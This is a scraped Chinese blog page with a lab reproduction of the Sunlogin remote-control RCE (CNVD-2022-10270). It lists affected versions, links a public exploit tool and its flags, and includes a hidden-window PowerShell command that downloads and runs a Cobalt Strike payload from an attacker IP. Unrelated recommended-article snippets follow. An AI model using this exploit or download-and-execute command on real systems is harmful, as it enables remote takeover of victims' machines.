null - 程序员宅基地

向日葵RCE(CNVD-2022-10270/CNVD-2022-03672)_cnvd-2022-10270-rce-程序员宅基地

漏洞描述：

上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞（CNVD-2022-10270/CNVD-2022-03672），影响Windows系统使用的个人版和简约版，攻击者可利用该漏洞获取服务器控制权。

影响版本：

向日葵个人版   for Windows <= 11.0.0.33
向日葵简约版   <= V1.0.1.43315（2021.12）

工具复现：

同一局域网：
攻击机：172.52.3.214
客户机PC：192.168.29.152

工具下载：向日葵漏洞工具https://github.com/Mr-xn/sunlogin_rce/releases/tag/new

-h 指定目标
-t 选择扫描或者命令执行 默认scan
-p 设置扫描端口范围 默认4w到65535
-c 需要执行的命令

客户机PC：

攻击机PC：

使用工具进行扫描：（向日葵端口在40000-60000之间，所以可以直接指定端口）

命令执行：

CS服务器上线：（失败）

CS服务器中选择攻击-Web钓鱼-Web投递——设置端口、监听器

Payload生成：

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.29.130:444/a'))"

进入客户端cmd输入即可上线

测试时发现，通过向日葵漏洞无法通过远程cmd执行上线（可能权限不够）

进行提权：切换administrator用户：

runas /noprofile /user:Administrator cmd

还是不行，可能因为”符号被windows内部重复处理了

客户机直接cmd测试：

CS成功上线：

本文链接：https://blog.csdn.net/weixin_43795682/article/details/123590814

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

【贪心法求解最小生成树之Kruskal算法详细分析】---Greedy Algorithm for MST_greedy mst demo-程序员宅基地

文章浏览阅读1.4k次。初衷：最近在看算法相关的东西，看到贪心法解决mst的问题，可惜树上讲解的不是很清新，到网上找了很多资料讲解的也不透彻只是随便带过就草草了事、这几天抽空看了下，总算基本思路理清楚了主要还是得感谢强大的google，帮我找到一个很好的英文资料。（下面有链接，有兴趣的同学可以看看）理顺了思路，就和大家分享下~希望对学习贪心法的同学会有所帮助。这篇博客的主要内容是贪心法求解Min_greedy mst demo

存储器讲述工作原理及作用_电阻式随机存取存储器原理-程序员宅基地

文章浏览阅读3.1w次，点赞12次，收藏64次。转载路径　　介绍　　存储器(Memory)是现代信息技术中用于保存信息的记忆设备。其概念很广，有很多层次，在数字系统中，只要能保存二进制数据的都可以是存储器;在集成电路中，一个没有实物形式的具有存储功能的电路也叫存储器，如RAM、FIFO等;在系统中，具有实物形式的存储设备也叫存储器，如内存条、TF卡等。计算机中全部信息，包括输入的原始数据、计算机程序、中间运行结果和最终运行结果都保存在存_电阻式随机存取存储器原理

css3实现六边形-程序员宅基地

文章浏览阅读103次。实现原理：这个效果的主要css样式有：1.>transform: rotate(120deg); 图片旋转2.>overflow:hidden; 超出隐藏3.>visibility: hidden; 也是隐藏，与display:none;相似，但不同的是，它虽然隐藏了，但依然会在网页中占有位置我们要用到3层div进行旋转来得到这个效果（ps:3层div的大小是一样的）。..._css3 6边型

linux查询内存命令-程序员宅基地

文章浏览阅读100次。1、Linux查看内存的详细信息 [root@c0235 ~]# dmidecode --type memory # dmidecode 2.10 SMBIOS 2.4 present. Handle 0x004A, DMI type 16, 15 bytes Physical Memory ..._内存error correction type: multi-bit ecc

谈谈单元测试之（二）：测试工具 JUnit 3_junit3单元测试-程序员宅基地

文章浏览阅读5.5k次，点赞7次，收藏8次。前言上一篇文章《为什么要进行烦人的单元测试？》讨论了一下现阶段软件开发中，程序员们测试情况的现状。这篇文章中，我打算介绍一下单元测试的工具（插件），并且推荐大家以后在开发中，真正的用上单元测试，用好单元测试。说明这篇文章的主题，主要是介绍一下 JUnit 3，虽然 JUnit 3 已经不推荐使用了，但它也曾是风靡一时。这里旨在讨论一下 JUnit 3 的_junit3单元测试

基于多特征时空图卷积网络的水运通航密度预测_预测通航密度-程序员宅基地

文章浏览阅读221次。在水运交通领域，各港口的通航情况是一个动态系统，而内河的船舶航线较固定，因此，通航密度具有显著的时空特征。3.1 水运路网将水运路网定义为无向图G=(V,E,A)，水运路网如图1所示。其中，V为节点集，即港口或航道重要节点（如桥梁、水闸等）的集合，|V|=N 为节点的个数；E 为边集，表示节点之间的连通性；（R为实数）为G的邻接矩阵。设在水运路网G上的每个节点都检测F个采样频率一致的时间序列数据，即每个节点在每个时间段内都会产生一个长度为F的特征向量。图1 水运路网。_预测通航密度

随便推点

关于TCP/IP协议(笔记)_tcp/ip协议是一种硬件-程序员宅基地

文章浏览阅读433次，点赞4次，收藏2次。引言:学习计算机⽹络时我们⼀般采⽤折中的办法，也就是中和 OSI 和 TCP/IP 的优点，采⽤⼀种只有五层协议的体系结构，这样既简洁⼜能将概念阐述清楚,今天就来了解一下TCP/IP。TCP/IP协议包括四个层次：网络接口层、网络层、传输层、应用层。功能：1、网络接口层主要用于实现与传输媒介相关的物理特性，由下而上来看，对于接收到的物理帧数据，得到IP数据包，交给网络层；由上而下来看，从网络层接收到IP数据包封装成帧数据，发送到网络中。2、网络层：处理来自传输层的分组发送请求，收到请求后，将分_tcp/ip协议是一种硬件

向日葵RCE(CNVD-2022-10270/CNVD-2022-03672)_cnvd-2022-10270-rce-程序员宅基地

漏洞描述：

工具复现：

CS服务器上线：（失败）

智能推荐

【贪心法求解最小生成树之Kruskal算法详细分析】---Greedy Algorithm for MST_greedy mst demo-程序员宅基地

存储器讲述工作原理及作用_电阻式随机存取存储器原理-程序员宅基地

css3实现六边形-程序员宅基地

linux查询内存命令-程序员宅基地

谈谈单元测试之（二）：测试工具 JUnit 3_junit3单元测试-程序员宅基地

基于多特征时空图卷积网络的水运通航密度预测_预测通航密度-程序员宅基地

随便推点

关于TCP/IP协议(笔记)_tcp/ip协议是一种硬件-程序员宅基地

springboot运行出错，Caused by: java.io.IOException-程序员宅基地

frp为服务器配置穿透，实现远程访问内网服务器_frp线路租用-程序员宅基地

JS仿qq下拉菜单_如何实现一个qq列表类似的js逻辑操作?-程序员宅基地

Allegro Inside ODB++ 安装_odb++ inside-程序员宅基地

HTML之实现可隐藏式导航栏_html 怎么实现作于分栏并可以隐藏-程序员宅基地

推荐文章

热门文章

相关标签